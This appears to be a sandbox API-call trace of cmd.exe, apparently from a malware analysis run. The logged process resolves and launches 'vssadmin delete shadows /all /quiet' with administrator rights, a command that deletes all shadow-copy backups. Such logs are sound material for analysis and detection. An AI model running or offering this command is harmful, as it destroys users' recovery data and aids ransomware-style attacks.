[0198.608] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.608] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0198.608] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.608] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.608] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0198.608] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.608] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.608] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0198.608] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.608] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.608] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0198.608] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.608] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.609] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0198.609] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.609] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.609] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0198.609] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.609] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.609] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0198.609] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.609] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.609] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0198.610] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.610] GetFileType (hFile=0xb0) returned 0x3 [0198.610] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.610] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.610] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.610] GetFileType (hFile=0xbc) returned 0x3 [0198.610] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.610] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0198.610] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x14f4f8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f4f8*=0x24, lpOverlapped=0x0) returned 1 [0198.610] GetProcessHeap () returned 0x270000 [0198.610] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4012) returned 0x28b240 [0198.610] GetProcessHeap () returned 0x270000 [0198.610] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b240 | out: hHeap=0x270000) returned 1 [0198.611] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0198.612] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0198.612] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0198.612] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0198.612] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0198.612] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0198.612] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0198.612] GetProcessHeap () returned 0x270000 [0198.612] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb0) returned 0x2897c0 [0198.612] GetProcessHeap () returned 0x270000 [0198.612] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x22) returned 0x284610 [0198.613] GetProcessHeap () returned 0x270000 [0198.613] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x48) returned 0x289880 [0198.614] GetConsoleOutputCP () returned 0x1b5 [0198.614] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0198.614] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0198.614] GetConsoleTitleW (in: lpConsoleTitle=0x14f4b0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0198.615] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0198.615] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0198.615] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0198.615] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0198.615] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0198.615] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0198.615] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0198.615] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0198.615] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0198.615] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0198.615] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0198.615] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0198.615] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0198.615] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0198.615] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0198.615] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0198.615] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0198.615] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0198.615] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0198.615] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0198.615] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0198.615] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0198.615] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0198.615] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0198.615] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0198.615] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0198.615] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0198.615] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0198.616] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0198.616] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0198.616] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0198.616] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0198.616] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0198.616] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0198.616] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0198.616] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0198.616] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0198.616] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0198.616] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0198.616] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0198.616] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0198.616] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0198.616] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0198.616] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0198.616] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0198.616] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0198.616] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0198.616] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0198.616] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0198.616] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0198.616] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0198.616] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0198.616] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0198.616] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0198.616] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0198.616] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0198.616] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0198.616] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0198.616] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0198.616] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0198.616] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0198.616] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0198.617] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0198.617] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0198.617] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0198.617] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0198.617] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0198.617] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0198.617] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0198.617] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0198.617] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0198.617] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0198.617] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0198.617] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0198.617] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0198.617] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0198.617] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0198.617] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0198.617] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0198.617] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0198.617] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0198.617] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0198.617] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0198.617] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0198.617] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0198.617] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0198.617] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0198.618] GetProcessHeap () returned 0x270000 [0198.618] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x218) returned 0x28aa10 [0198.618] GetProcessHeap () returned 0x270000 [0198.618] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x5a) returned 0x285b70 [0198.618] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0198.618] GetProcessHeap () returned 0x270000 [0198.618] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x420) returned 0x28b240 [0198.618] SetErrorMode (uMode=0x0) returned 0x0 [0198.618] SetErrorMode (uMode=0x1) returned 0x0 [0198.618] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x28b250, lpFilePart=0x14ed40 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x14ed40*="system32") returned 0x13 [0198.618] SetErrorMode (uMode=0x0) returned 0x1 [0198.619] GetProcessHeap () returned 0x270000 [0198.619] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x28b240, Size=0x4a) returned 0x28b240 [0198.619] GetProcessHeap () returned 0x270000 [0198.619] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28b240) returned 0x4a [0198.619] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0198.619] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0198.619] GetProcessHeap () returned 0x270000 [0198.619] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x104) returned 0x289be0 [0198.619] GetProcessHeap () returned 0x270000 [0198.619] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1f8) returned 0x289cf0 [0198.625] GetProcessHeap () returned 0x270000 [0198.625] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289cf0, Size=0x106) returned 0x289cf0 [0198.626] GetProcessHeap () returned 0x270000 [0198.626] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289cf0) returned 0x106 [0198.626] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0198.626] GetProcessHeap () returned 0x270000 [0198.626] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xe8) returned 0x285be0 [0198.626] GetProcessHeap () returned 0x270000 [0198.626] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x285be0, Size=0x7e) returned 0x285be0 [0198.626] GetProcessHeap () returned 0x270000 [0198.626] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285be0) returned 0x7e [0198.627] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0198.627] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0x285c70 [0198.627] GetProcessHeap () returned 0x270000 [0198.627] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x28) returned 0x284640 [0198.627] FindClose (in: hFindFile=0x285c70 | out: hFindFile=0x285c70) returned 1 [0198.627] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0xffffffffffffffff [0198.628] GetLastError () returned 0x2 [0198.628] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0x285c70 [0198.628] GetProcessHeap () returned 0x270000 [0198.628] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x284640, Size=0x8) returned 0x2898d0 [0198.628] FindClose (in: hFindFile=0x285c70 | out: hFindFile=0x285c70) returned 1 [0198.628] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0198.628] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0198.628] GetConsoleTitleW (in: lpConsoleTitle=0x14f000, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0198.628] GetProcessHeap () returned 0x270000 [0198.629] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x21c) returned 0x28b2a0 [0198.629] GetConsoleTitleW (in: lpConsoleTitle=0x28b2b0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0198.629] GetProcessHeap () returned 0x270000 [0198.629] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x28b2a0, Size=0xc0) returned 0x28b2a0 [0198.629] GetProcessHeap () returned 0x270000 [0198.629] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28b2a0) returned 0xc0 [0198.629] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0198.630] GetProcessHeap () returned 0x270000 [0198.630] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b2a0 | out: hHeap=0x270000) returned 1 [0198.630] InitializeProcThreadAttributeList (in: lpAttributeList=0x14edb8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14ed78 | out: lpAttributeList=0x14edb8, lpSize=0x14ed78) returned 1 [0198.630] UpdateProcThreadAttribute (in: lpAttributeList=0x14edb8, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ed68, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14edb8, lpPreviousValue=0x0) returned 1 [0198.630] GetStartupInfoW (in: lpStartupInfo=0x14eed0 | out: lpStartupInfo=0x14eed0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb0, hStdOutput=0xbc, hStdError=0xbc)) [0198.630] GetProcessHeap () returned 0x270000 [0198.630] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x20) returned 0x284640 [0198.630] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0198.630] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0198.630] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0198.630] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0198.630] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0198.630] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0198.630] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0198.630] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0198.630] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0198.630] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0198.630] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0198.630] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0198.630] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0198.630] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0198.631] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0198.631] GetProcessHeap () returned 0x270000 [0198.631] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284640 | out: hHeap=0x270000) returned 1 [0198.631] GetProcessHeap () returned 0x270000 [0198.631] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x12) returned 0x288900 [0198.631] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x14edf0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14eda0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x14eda0*(hProcess=0x54, hThread=0x50, dwProcessId=0x640, dwThreadId=0x358)) returned 1 [0199.934] CloseHandle (hObject=0x50) returned 1 [0199.934] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0199.934] GetProcessHeap () returned 0x270000 [0199.934] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x288a60 | out: hHeap=0x270000) returned 1 [0199.934] GetEnvironmentStringsW () returned 0x288a60* [0199.934] GetProcessHeap () returned 0x270000 [0199.934] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xac4) returned 0x28b2a0 [0199.934] FreeEnvironmentStringsW (penv=0x288a60) returned 1 [0199.934] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77a90000 [0199.934] GetProcAddress (hModule=0x77a90000, lpProcName="NtQueryInformationProcess") returned 0x77ae14a0 [0199.934] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e6a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e6a8, ReturnLength=0x0) returned 0x0 [0199.935] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e6e0, nSize=0x380, lpNumberOfBytesRead=0x14e6a0 | out: lpBuffer=0x14e6e0*, lpNumberOfBytesRead=0x14e6a0*=0x380) returned 1 [0199.935] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0267.302] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ece8 | out: lpExitCode=0x14ece8*=0x0) returned 1 [0267.302] CloseHandle (hObject=0x54) returned 1 [0267.302] _vsnwprintf (in: _Buffer=0x14ef58, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ecf8 | out: _Buffer="00000000") returned 8 [0267.302] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0267.302] GetProcessHeap () returned 0x270000 [0267.302] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b2a0 | out: hHeap=0x270000) returned 1 [0267.303] GetEnvironmentStringsW () returned 0x28e870* [0267.303] 